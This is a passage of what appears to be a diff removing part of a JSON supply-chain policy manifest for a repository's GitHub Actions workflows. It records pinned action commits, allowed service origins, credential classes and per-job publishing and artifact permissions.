"reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/actions/checkout/3d3c42e5aac5ba805825da76410c181273ba90b1/action.yml", - "scope": "Exact selected ref; persisted credentials are prohibited.", - "review_on": "2027-03-11" - }, - { - "exception_id": "codeql-upload-sarif-service", - "source_id": "codeql-upload-sarif", - "action": "github/codeql-action/upload-sarif", - "input_id": "code-scanning-service", - "reason": "GitHub code-scanning ingestion is service-managed.", - "operation": "upload protected Scorecard SARIF", - "allowed_origins": [ - "api.github.com", - "uploads.github.com" - ], - "credential_class": "github-token", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Security" - ], - "reviewer_roles": [ - "Tooling" - ], - "evidence_ref": "https://raw.githubusercontent.com/github/codeql-action/cdf488f595d80d6e07e03d4674febd5ab45fa938/upload-sarif/action.yml", - "scope": "Scheduled/protected Scorecard upload only.", - "review_on": "2027-03-11" - }, - { - "exception_id": "deploy-pages-service", - "source_id": "deploy-pages", - "action": "actions/deploy-pages", - "input_id": "pages-deployment-service", - "reason": "The Pages deployment API is service-managed.", - "operation": "create and monitor the protected main deployment", - "allowed_origins": [ - "api.github.com" - ], - "credential_class": "github-oidc", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Docs" - ], - "reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/actions/deploy-pages/368f82528645a54fb793d4d04e342629a3f51346/action.yml", - "scope": "Main-ref-only deployment with Pages and OIDC write scopes.", - "review_on": "2027-03-11" - }, - { - "exception_id": "download-artifact-service", - "source_id": "download-artifact", - "action": "actions/download-artifact", - "input_id": "actions-artifact-service", - "reason": "GitHub run-artifact lookup and signed objects are service-managed.", - "operation": "download a named artifact from the same run", - "allowed_origins": [ - "*.blob.core.windows.net", - "results-receiver.actions.githubusercontent.com" - ], - "credential_class": "actions-artifact-token", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Tooling" - ], - "reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/actions/download-artifact/3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c/action.yml", - "scope": "Same-run handoff only; names do not confer authority.", - "review_on": "2027-03-11" - }, - { - "exception_id": "harden-runner-agent-service", - "source_id": "harden-runner", - "action": "step-security/harden-runner", - "input_id": "stepsecurity-agent-service", - "reason": "The provider manages its runner agent and telemetry control plane.", - "operation": "install the monitor and report audit egress", - "allowed_origins": [ - "agent.api.stepsecurity.io", - "api.stepsecurity.io", - "github.com" - ], - "credential_class": "github-token", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Security" - ], - "reviewer_roles": [ - "Tooling" - ], - "evidence_ref": "https://raw.githubusercontent.com/step-security/harden-runner/e14015d583714f6e62063499dc959a02595150a1/action.yml", - "scope": "Scheduled/protected Scorecard audit mode; no blocking claim.", - "review_on": "2027-03-11" - }, - { - "exception_id": "pypi-publish-container-base", - "source_id": "pypi-publish", - "action": "pypa/gh-action-pypi-publish", - "input_id": "container-base-image", - "reason": "The action Dockerfile names python:3.13-slim instead of a digest.", - "operation": "resolve and build the publisher container", - "allowed_origins": [ - "auth.docker.io", - "registry-1.docker.io" - ], - "credential_class": "none", - "credential_forwarding": "none", - "owner_roles": [ - "Release" - ], - "reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/pypa/gh-action-pypi-publish/dc37677b2e1c63e2034f94d8a5b11f265b73ba33/Dockerfile", - "scope": "Protected pypi environment; bounded nonclaim, not image admission.", - "review_on": "2027-03-11" - }, - { - "exception_id": "pypi-publish-container-dependencies", - "source_id": "pypi-publish", - "action": "pypa/gh-action-pypi-publish", - "input_id": "container-python-dependencies", - "reason": "The action builds constrained dependencies from indexes without hashes.", - "operation": "install publisher dependencies in the ephemeral container", - "allowed_origins": [ - "files.pythonhosted.org", - "pypi.org" - ], - "credential_class": "none", - "credential_forwarding": "none", - "owner_roles": [ - "Release" - ], - "reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/pypa/gh-action-pypi-publish/dc37677b2e1c63e2034f94d8a5b11f265b73ba33/requirements/runtime.txt", - "scope": "Protected pypi environment; #1218 remains payload authority.", - "review_on": "2027-03-11" - }, - { - "exception_id": "pypi-publish-service", - "source_id": "pypi-publish", - "action": "pypa/gh-action-pypi-publish", - "input_id": "pypi-trusted-publishing", - "reason": "OIDC exchange and PyPI upload responses are service-managed.", - "operation": "exchange OIDC and upload tested distributions", - "allowed_origins": [ - "token.actions.githubusercontent.com", - "upload.pypi.org" - ], - "credential_class": "github-oidc", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Release" - ], - "reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/pypa/gh-action-pypi-publish/dc37677b2e1c63e2034f94d8a5b11f265b73ba33/action.yml", - "scope": "Protected pypi environment after exact-SHA verification.", - "review_on": "2027-03-11" - }, - { - "exception_id": "release-please-github-service", - "source_id": "release-please", - "action": "googleapis/release-please-action", - "input_id": "github-release-service", - "reason": "GitHub pull-request, tag, and release APIs are service-managed.", - "operation": "maintain the main release PR and draft release", - "allowed_origins": [ - "api.github.com", - "uploads.github.com" - ], - "credential_class": "github-token", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Release" - ], - "reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/googleapis/release-please-action/45996ed1f6d02564a971a2fa1b5860e934307cf7/action.yml", - "scope": "Push-to-main orchestration; final publication stays separate.", - "review_on": "2027-03-11" - }, - { - "exception_id": "scorecard-public-services", - "source_id": "scorecard", - "action": "ossf/scorecard-action", - "input_id": "scorecard-services", - "reason": "Scorecard queries and publishes service-managed public evidence.", - "operation": "collect public signals and publish signed results", - "allowed_origins": [ - "api.deps.dev", - "api.github.com", - "api.osv.dev", - "api.scorecard.dev", - "codeload.github.com", - "fulcio.sigstore.dev", - "github.com", - "oss-fuzz-build-logs.storage.googleapis.com", - "rekor.sigstore.dev", - "tuf-repo-cdn.sigstore.dev", - "www.bestpractices.dev" - ], - "credential_class": "github-oidc", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Security" - ], - "reviewer_roles": [ - "Tooling" - ], - "evidence_ref": "docs/decisions/issue-839-scorecard-evidence.md", - "scope": "Weekly schedule and protected-main events; audit egress is retained.", - "review_on": "2027-03-11" - }, - { - "exception_id": "setup-python-pypi-fallback", - "source_id": "setup-python-pypi", - "action": "actions/setup-python", - "input_id": "runner-python-fallback", - "reason": "The publisher requests floating 3.x only if runner Python is absent.", - "operation": "resolve the emergency Python fallback", - "allowed_origins": [ - "github.com", - "objects.githubusercontent.com" - ], - "credential_class": "github-token", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Release" - ], - "reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/pypa/gh-action-pypi-publish/dc37677b2e1c63e2034f94d8a5b11f265b73ba33/action.yml", - "scope": "Nested under protected PyPI publishing; bounded nonclaim.", - "review_on": "2027-03-11" - }, - { - "exception_id": "sonarqube-scan-sonarcloud-service", - "source_id": "sonarqube-scan", - "action": "SonarSource/sonarqube-scan-action", - "input_id": "sonarcloud-service", - "reason": "SonarCloud responses cannot be byte-pinned by the client.", - "operation": "submit analysis to the configured project", - "allowed_origins": [ - "sonarcloud.io" - ], - "credential_class": "secret:sonar-token", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Security" - ], - "reviewer_roles": [ - "Tooling" - ], - "evidence_ref": "https://raw.githubusercontent.com/SonarSource/sonarqube-scan-action/22918119ff8e1ca75a623e15c8296b6ea4fbe28f/action.yml", - "scope": "Protected push-only Sonar job; no pull-request credential exposure.", - "review_on": "2027-03-11" - }, - { - "exception_id": "upload-artifact-direct-service", - "source_id": "upload-artifact-direct", - "action": "actions/upload-artifact", - "input_id": "actions-artifact-service", - "reason": "GitHub run-artifact endpoints and signed objects are service-managed.", - "operation": "upload a bounded run-scoped artifact", - "allowed_origins": [ - "*.blob.core.windows.net", - "results-receiver.actions.githubusercontent.com" - ], - "credential_class": "actions-artifact-token", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Tooling" - ], - "reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/actions/upload-artifact/043fb46d1a93c77aae656e7c1c64a875d1fc6a0a/action.yml", - "scope": "Candidate artifacts stay untrusted; protected artifacts are evidence or same-run handoff.", - "review_on": "2027-03-11" - }, - { - "exception_id": "upload-artifact-pages-service", - "source_id": "upload-artifact-pages", - "action": "actions/upload-artifact", - "input_id": "actions-artifact-service", - "reason": "GitHub Pages artifact endpoints and signed objects are service-managed.", - "operation": "upload the tarred Pages artifact", - "allowed_origins": [ - "*.blob.core.windows.net", - "results-receiver.actions.githubusercontent.com" - ], - "credential_class": "actions-artifact-token", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Docs" - ], - "reviewer_roles": [ - "Security" - ], - "evidence_ref": "https://raw.githubusercontent.com/actions/upload-artifact/bbbca2ddaa5d8feaa63e36b76fdaad77386f024f/action.yml", - "scope": "Nested only under the exact upload-pages source revision.", - "review_on": "2027-03-11" - } - ], - "workflow_jobs": [ - { - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "generic-tool-platforms", - "runner": "${{ matrix.runner }}", - "host_profile_ids": [ - "public-linux-arm64", - "public-macos-arm64", - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "untrusted-pr" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "releases.astral.sh", - "results-receiver.actions.githubusercontent.com" - ], - "cache_access": "none", - "artifact_access": "write-untrusted", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/canonical-verification.yml", - "job": "generic-tool-local-inputs", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_access": "none", - "artifact_access": "write-untrusted", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/canonical-verification.yml", - "job": "verify", - "runner": "ubuntu-22.04", - "host_profile_ids": [ - "proof-ubuntu-22.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_access": "none", - "artifact_access": "write-untrusted", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/ci.yml", - "job": "canonical", - "runner": "reusable-workflow", - "host_profile_ids": [], - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/ci.yml", - "job": "fuzz", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/ci.yml", - "job": "integration-docker", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/ci.yml", - "job": "interpreters", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "releases.astral.sh", - "results-receiver.actions.githubusercontent.com" - ], - "cache_access": "none", - "artifact_access": "write-untrusted", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/ci.yml", - "job": "sonar", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "protected-branch", - "same-repository-pr" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token", - "secret:sonar-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "binaries.sonarsource.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com", - "sonarcloud.io" - ], - "cache_access": "none", - "artifact_access": "read-same-run", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/ci.yml", - "job": "supply-chain", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_access": "none", - "artifact_access": "write-untrusted", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/ci.yml", - "job": "verify", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr", - "untrusted-ref" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/docs.yml", - "job": "build", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch", - "untrusted-pr" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_access": "none", - "artifact_access": "write-trusted", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/docs.yml", - "job": "deploy", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch" - ], - "permissions": { - "pages": "write", - "id-token": "write" - }, - "credential_classes": [ - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "read-same-run", - "promotion_authority": true, - "publishing_authority": true, - "protected_definition_ref": "job-condition:protected-main-workflow-definition" - }, - { - "workflow": ".github/workflows/post-merge-closing-issue-audit.yml", - "job": "report-open-closing-issues", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "untrusted-pr" - ], - "permissions": { - "contents": "read", - "issues": "read", - "pull-requests": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/pr-body-policy.yml", - "job": "body-guard", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "untrusted-pr" - ], - "permissions": { - "contents": "read", - "issues": "read", - "pull-requests": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/pr-title-lint.yml", - "job": "title-guard", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "untrusted-pr" - ], - "permissions": { - "contents": "read", - "pull-requests": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/python-free-threaded-preview.yml", - "job": "python-314t", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "scheduled" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/release-please.yml", - "job": "build-release", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_access": "none", - "artifact_access": "write-trusted", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/release-please.yml", - "job": "integration-docker-release", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/release-please.yml", - "job": "publish-github", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch" - ], - "permissions": { - "contents": "write" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_access": "none", - "artifact_access": "read-same-run", - "promotion_authority": true, - "publishing_authority": true, - "protected_definition_ref": "job-condition:protected-main-workflow-definition" - }, - { - "workflow": ".github/workflows/release-please.yml", - "job": "publish-pypi", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch" - ], - "permissions": { - "contents": "write", - "id-token": "write" - }, - "credential_classes": [ - "actions-artifact-token", - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "auth.docker.io", - "codeload.github.com", - "files.pythonhosted.org", - "github.com", - "objects.githubusercontent.com", - "pypi.org", - "registry-1.docker.io", - "results-receiver.actions.githubusercontent.com", - "token.actions.githubusercontent.com", - "upload.pypi.org" - ], - "cache_access": "none", - "artifact_access": "read-same-run", - "promotion_authority": false, - "publishing_authority": true, - "protected_definition_ref": "job-condition:protected-main-workflow-definition" - }, - { - "workflow": ".github/workflows/release-please.yml", - "job": "release-please", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "protected-branch" - ], - "permissions": { - "contents": "write", - "pull-requests": "write" - }, - "credential_classes": [ - "github-token", - "secret:github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com", - "uploads.github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": true, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/release-please.yml", - "job": "resolve-release", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch" - ], - "permissions": { - "contents": "write" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false, - "protected_definition_ref": "job-condition:protected-main-workflow-definition" - }, - { - "workflow": ".github/workflows/release-please.yml", - "job": "sync-dev", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "protected-branch" - ], - "permissions": { - "contents": "read", - "pull-requests": "write" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": true, - "publishing_authority": false, - "protected_definition_ref": "job-condition:protected-main-workflow-definition" - }, - { - "workflow": ".github/workflows/release-please.yml", - "job": "verify-release", - "runner": "reusable-workflow", - "host_profile_ids": [], - "trust_classes": [ - "manual", - "protected-branch" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [], - "cache_access": "none", - "artifact_access": "none", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/scorecard.yml", - "job": "analysis", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "protected-branch", - "scheduled" - ], - "permissions": { - "contents": "read", - "security-events": "write", - "id-token": "write" - }, - "credential_classes": [ - "actions-artifact-token", - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "agent.api.stepsecurity.io", - "api.deps.dev", - "api.github.com", - "api.osv.dev", - "api.scorecard.dev", - "api.stepsecurity.io", - "codeload.github.com", - "fulcio.sigstore.dev", - "ghcr.io", - "github.com", - "oss-fuzz-build-logs.storage.googleapis.com", - "rekor.sigstore.dev", - "results-receiver.actions.githubusercontent.com", - "tuf-repo-cdn.sigstore.dev", - "uploads.github.com", - "www.bestpractices.dev" - ], - "cache_access": "none", - "artifact_access": "write-trusted", - "promotion_authority": false, - "publishing_authority": false - }, - { - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "development-image", - "runner": "ubuntu-24.04", - "host_profile_ids": [ - "public-ubuntu-24.04-x86_64" - ], - "trust_classes": [ - "manual", - "untrusted-pr" - ], - "permissions": { - "contents": "read" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "releases.astral.sh", - "results-receiver.actions.githubusercontent.com" - ], - "cache_access": "none", - "artifact_access": "write-untrusted", - "promotion_authority": false, - "publishing_authority": false - } - ], - "use_sites": [ - { - "use_id": "bootstrap-qualification/generic-tool-platforms/install-exact-uv-payload", - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "generic-tool-platforms", - "step": "Install exact uv payload", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "version": "0.12.4", - "enable-cache": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "untrusted-pr" - ] - }, - { - "use_id": "bootstrap-qualification/generic-tool-platforms/retain-bounded-qualification-evidence", - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "generic-tool-platforms", - "step": "Retain bounded qualification evidence", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "inputs": { - "name": "bootstrap-${{ matrix.profile }}-${{ github.sha }}", - "path": "bootstrap-qualification.json\nbootstrap-offline-kit.tar\n", - "if-no-files-found": "error" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-untrusted", - "source_id": "upload-artifact-direct", - "trust_classes": [ - "manual", - "untrusted-pr" - ] - }, - { - "use_id": "bootstrap-qualification/generic-tool-platforms/actions/checkout", - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "generic-tool-platforms", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "untrusted-pr" - ] - }, - { - "use_id": "bootstrap-qualification/generic-tool-platforms/actions/setup-python", - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "generic-tool-platforms", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.14.7" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com", - "releases.astral.sh" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "untrusted-pr" - ] - }, - { - "use_id": "canonical-verification/generic-tool-local-inputs/actions/checkout", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "generic-tool-local-inputs", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false, - "ref": "${{ inputs.ref }}" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "canonical-verification/generic-tool-local-inputs/actions/setup-python", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "generic-tool-local-inputs", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.12.14" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "canonical-verification/generic-tool-local-inputs/install-uv", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "generic-tool-local-inputs", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "canonical-verification/generic-tool-local-inputs/carry-locked-generic-tool-inputs-to-the-proof-host", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "generic-tool-local-inputs", - "step": "Carry locked generic-tool inputs to the proof host", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "inputs": { - "name": "canonical-generic-tool-inputs-${{ inputs.ref }}", - "path": ".canonical-tool-inputs", - "if-no-files-found": "error", - "include-hidden-files": true, - "retention-days": 1 - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-untrusted", - "source_id": "upload-artifact-direct", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - "untrusted-ref" - ] - }, - { - "use_id": "canonical-verification/verify/install-uv", - "workflow": ".github/workflows/canonical-verification.yml", - "job": "verify", - "step": "Install uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "enable-cache": false, - "version": "0.12.4" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "protected-branch", - "reusable", - "untrusted-pr", - 